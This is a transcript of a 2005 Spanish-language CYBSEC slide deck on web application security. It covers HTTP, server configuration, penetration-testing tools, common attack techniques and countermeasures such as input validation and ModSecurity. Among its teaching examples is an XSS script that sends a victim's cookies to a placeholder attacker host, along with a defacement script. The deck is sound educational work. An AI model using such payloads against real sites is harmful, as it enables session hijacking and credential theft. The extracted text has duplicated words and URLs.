“Seguridad en Aplicaciones Web” - CYBSEC

“Seguridad en Aplicaciones Web”

Leandro Leandro MeinersMeinerslmeinerslmeiners@@cybseccybsec..comcom

Septiembre de 2005Septiembre de 2005Buenos Aires Buenos Aires -- ARGENTINAARGENTINA

2

© 2005

Seguridad en Aplicaciones WebTemario

Temario

• Introducción al Protocolo HTTP:

• Arquitectura, carácterísticas, autenticación, cookies, HTTPS

• Configuración del Servidor Web

• Banners y listado de directorios

• Herramientas del Penetration Testing Web• Proxy Local, Scanner de Vulnerabilidades, HTTP Fingerprinting y HTTP

Brute Force

• Técnicas de Intrusión

• Manejo de Sesión, Cross Site Scripting, OS Commanding, Path

Traversal, SQL Injection y Soluciones

• Contramedidas• ModSecurity y URLSCAN

3

© 2005

Seguridad en Aplicaciones Web

Introducción al Introducción al protocolo HTTPprotocolo HTTP

4

© 2005


Arquitectura Web Física

Introducción al Protocolo HTTP

5

© 2005

Seguridad en Aplicaciones WebIntroducción al Protocolo HTTP

Arquitectura Web Lógica

6

© 2005


Características del Protocolo HTTP

• HTTP/1.0 definido en RFC 1945

• Métodos: GET, HEAD, POST

• Sin Estado: una conexión TCP para cada pedido

• Dos tipos de mensajes: Request y Response

• HTTP/1.1 definido en RFC 2616

• Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT

• Encabezado “Host”: indica el nombre del servidor al cual se le realiza el

pedido, permite que se utilicen hosts virtuales.

• Sin Estado: una conexión TCP es persistente por defecto.

• Encabezado “Connection”: permite forzar el cierre de la conexión una vez

obtenida la respuesta.

• Dos tipos de mensajes: Request y Response.

7

© 2005


Autenticación HTTP

El RFC 2617 define dos métodos de autenticación para el protocolo HTTP:

“Basic Authentication” y “Digest Access Authentication”.

8

© 2005


Manejo de Sesión: Cookies

Técnicas de Intrusión

• Mecanismo para el manejo de estado en el protocolo HTTP.

• Se define en los RFC 2109, y RFC 2965 añade la versión 2.

• Define el encabezado Set-Cookie (para indicarle al navegador que

debe utilizar cookies):

• Set-Cookie: NAME=nombre; Comment=comentario;

Domain=dominio; Max-Age=delta-segundos; Path=path; Secure;

Version=version

• Define el encabezado Cookie (para que el navegador le comunique la

cookie al sitio Web):

• Cookie: 1 NAME=nombre; Path=path; Domain=domain

9

© 2005


Protocolo HTTPS

• Definido en el RFC 2818, utilizando TLS (Transport Layer Security).

• Utilizando SSL (Secure Socket Layer) es un estándar de facto.

• El protocolo SSL (Secure Socket Layer) fue creado por Netscape y definido

en: http://wp.netscape.com/eng/ssl3/ssl-toc.html.

• El protocolo TLS 1.0 está estandarizado en el RFC 2246 basado en SSL

v.3.0.

• SSL y TLS proveen:

• Privacidad.

• Autenticación del cliente (opcional) y del servidor (mediante certificados

digitales).

• Integridad.

10

© 2005


Configuración Configuración del servidor del servidor

WebWeb

11

© 2005

Seguridad en Aplicaciones WebConfiguración de Servidores Web

Banners

Los servidores Web, por defecto, responden su versión en el encabezado

“Server”.

[root@prueba:~]# nc httpd.apache.org 80

HEAD / HTTP/1.1

Host: httpd.apache.org

Connection: close

HTTP/1.1 200 OK

Date: Tue, 31 May 2005 14:21:09 GMT

Server: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7a DAV/2 SVN/1.2.0-dev

Last-Modified: Wed, 11 May 2005 23:31:37 GMT

ETag: "d40136-1f7f-3f6dd12fe6840"

...

12

© 2005

Seguridad en Aplicaciones WebConfiguración de Servidores Web

Directory Indexing – Listado de Directorios

Los servidores Web, permiten listar el contenido de un directorio que no tiene

un archivo de índice.

13

© 2005


Herramientas de Herramientas de PenetrationPenetrationTestingTesting WebWeb

14

© 2005

Seguridad en Aplicaciones WebHerramientas de Penetration Testing Web

Proxy Local: ParosUn proxy local permite interceptar los pedidos del navegador y modificarlos.

((wwwwww..parosproxyparosproxy..orgorg))

15

© 2005


Scanner de Vulnerabilidades: NiktoUn Scanner de vulnerabilidades analiza el servidor verificando problemas

comunes de configuración, versiones desactualizadas o vulnerables, y

problemas de seguridad de distintos servidores y aplicaciones Web.

((http://http://wwwwww..cirtcirt..netnet//codecode//niktonikto..shtmlshtml))

16

© 2005


HTTP Fingerprinting: httprintUna herramienta de fingerprinting intenta identificar la versión del servicio sin

utilizar el banner del servicio (ya que el mismo puede ser modificado). En el caso

particular de HTTP nos permite identificar la versión del servidor Web.

((wwwwww..netnet--squaresquare..comcom//httprinthttprint/)/)

17

© 2005


HTTP Brute Forcing: BRUTUSUna herramienta de bruteforcing de HTTP permite realizar ataques de fuerza bruta

sobre los métodos de autenticación HTTP y/o formularios Web de autenticación.

((wwwwww..hoobiehoobie..netnet//brutusbrutus//))

18

© 2005


TécnicasTécnicas de de IntrusiónIntrusión

19

© 2005


Escalación de Privilegios y Manejo de Sesión


• Session Prediction: Las aplicaciones vulnerables generan credenciales de

autenticación predecibles; permitiendo deducir las credenciales de un usuario

autenticado o las que van a ser asignadas al próximo usuario que se

autentique.

• Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial.

• Session Fixation: Las aplicaciones vulnerables permiten “fijar” la credencial

de autenticación que utilizará el usuario; permitiendo realizar ataques de

session hijaking (robo de sesión).

• Ejemplo: La aplicación toma el identificador de sesión como parámetro, y si, previo a la autenticación, se le pasa un identificador la aplicación lo utiliza para el usuario una vez que se autentique.

• Session Expiration: Las aplicaciones vulnerables permiten utilizar

credenciales de autenticación “viejas”.

20

© 2005


Cross-Site Scripting


Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una

página Web que se ejecuta cuando la página es accedida por un usuario.

21

© 2005


Cross-Site Scripting: ¿Qué se puede hacer?


Robo de Credenciales:<script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?'

+document.cookie</script>

El script anterior envía las cookies de quién lo ejecute.

Defacement de la página Web:<script>document.write("<br><h1><font color=red>Defacement de la

página Web.</br></font></h1></html>");</script>

El script anterior modifica la página Web para que aparezca la cadena

“Defacement de la página Web”.

En resumen... ¡TODO lo que se pueda hacer con Javascript!

22

© 2005


Cross-Site Scripting y Phishing


Ejemplo:

La URL es la del sitio, sin embargo se visualiza otro sitio a

través de una vulnerabilidad de XSS

23

© 2005


OS Commanding


Es una técnica de ataque donde se manipula los parámetros enviados a la aplicación Web

para ejecutar comandos del sistema operativo.

24

© 2005


Path Traversal


Es una técnica de ataque que “fuerza” el acceso a archivos ubicados fuera de la raíz del

servidor Web.

25

© 2005

Seguridad en Aplicaciones WebTécnicas de Intrusión

Es una técnica cuyo objetivo es el

de ¨inyectar¨ consultas SQL

arbitrarias en páginas vulnerables

que interactúan con una Base de

Datos, logrando de esta forma

obtener, modificar y/o eliminar

información sensible.

Atacando ciertos motores de Bases

de Datos es posible, también, lograr

la ejecución de comandos del

Sistema Operativo.

SQL Injection

26

© 2005


¿ Problemática Común ?

Todas las técnicas mencionadas explotan el mismo problema: diferencias semántica (en

la interpretación de metacaracteres) entre la aplicación y …

• Navegador Web en el caso de Cross Site Scripting (XSS)

• Intérprete de comandos del Sistema Operativo en OS Commanding

• Sistema Operativo en Path Traversal

• Base de Datos en SQL Injection

¿ Qué diferencia semántica ?

• XSS: El texto inyectado es interpretado como un script por el Navegador

• OS Commanding: Ciertos caracteres son interpretados por el intérprete de comandos

• Path Traversal: “..” para el S.O. tiene un significado especial: directorio “padre”

• SQL Inyection: Las palabras claves de SQL son interpretadas por la base de datos.

Por ende, la solución es común …

27

© 2005


Soluciones

• VALIDAR EL INPUT y el OUTPUT

• Limitar longitud y tipo de los parámetros

• White-List Approach vs Black-List Approach

• Escapear caracteres especiales

• No mostrar mensajes de error

• ¿ Firewall ?

•No nos protege: todos los ataques mencionados ocurren a través del

puerto del Web Server (autorizado).

• ¿ IDS/IPS ?

• Nos puede proteger: permite rechazar patrones de ataques.

28

© 2005


Validación de Input: En el cliente vs. En el servidor

CLIENTE

• Libera al servidor del procesamiento.

• Más rápida para el cliente (no se

realiza el pedido).

SERVIDOR

• El servidor realiza el procesamiento.

• Más lenta para el cliente (se realiza

el pedido y se espera la respuesta con

el error).

Entonces... ¿Por qué se debe filtrar en el servidor?

Es evidente que conviene filtrar en el cliente detectando de forma temprana los

errores, por ende optimizando tiempos y recursos...

30

© 2005


¿ Los Web Services son más seguros ?


Una vez que se conoce la interfaz de comunicación con el Web Service, se

puede intentar:

• SQL Injection

• XSS

• Path traversal

• OS Commanding

• Buffer Overflows

¿Por qué?

Lo único que cambia es el método de comunicación, por lo tanto, desde el punto

de vista de seguridad, pueden tener las mismas vulnerabilidades.

32

© 2005

Seguridad en Aplicaciones WebContramedidas: Apache

ModSecurity

• Módulo para el servidor Web Apache.

• Actúa como IDS entre el cliente y el

servidor Web, filtrando los pedidos.

•Las acciones permitidas son:

• Logear el pedido

• Rechazar el pedido

• Redireccioner el pedido

• Dejar pasar el pedido

(www.modseurity.org)

33

© 2005

Seguridad en Aplicaciones WebContramedidas: IIS

IISLOCKDOWN

• Deshabilita servicios inseguros.

• Elimina directorios virtuales instalados por defecto.

• No permite la escritura en directorios Web con permisos del usuario Web.

• Instala URLScan.

URLScan

• Actúa como IDS entre el cliente y el servidor Web, filtrando los pedidos.

• Determina cómo responde el Servidor.

“Seguridad en Aplicaciones Web” - CYBSEC

Documents

Transcript of “Seguridad en Aplicaciones Web” - CYBSEC